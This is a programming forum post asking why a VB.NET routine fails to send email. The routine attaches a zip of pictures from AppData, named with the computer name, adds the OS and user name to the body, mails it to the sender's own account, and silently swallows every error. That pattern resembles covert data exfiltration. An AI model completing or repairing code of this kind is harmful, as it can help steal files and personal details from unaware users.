Private Sub SendMailOneAttachment(ByVal un As String, ByVal pass As String, Optional ByVal smtp As String = "smtp.gmail.com")
Try
Using oAttach As Net.Mail.Attachment = New Net.Mail.Attachment((Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\" & My.Computer.Name & "_" & fName & "Pictures .zip"))
Dim client As New SmtpClient(smtp)
Dim mail As New MailMessage()
mail.From = New MailAddress(un)
mail.To.Add(un)
mail.Subject = (locations)
mail.Body = My.Computer.Info.OSFullName & " " & My.User.Name & vbNewLine & " Date: " & TimeOfDay.Date.TimeOfDay.ToString
mail.Attachments.Add(oAttach)
If smtp = "smtp.live.com" Then
client.Port = 587 '465 587 25
Else
client.Port = 465 '465 587 25
End If
client.EnableSsl = True
client.Credentials = New System.Net.NetworkCredential(un, pass)
Try
client.Send(mail)
Catch ex As SmtpException
End Try
End Using
Catch ex As Exception
End Try
End Sub
OK here is the problem, it does not send the email on any of my 2 computers. No firewall, No Anti Virus. I don't know if there is an error in this or what? All the other code works fine, except for this emailing part
If you need any more info ask me cause this not sending is driving me nuts
Thanks
Ty

New Topic/Question
Reply



MultiQuote







|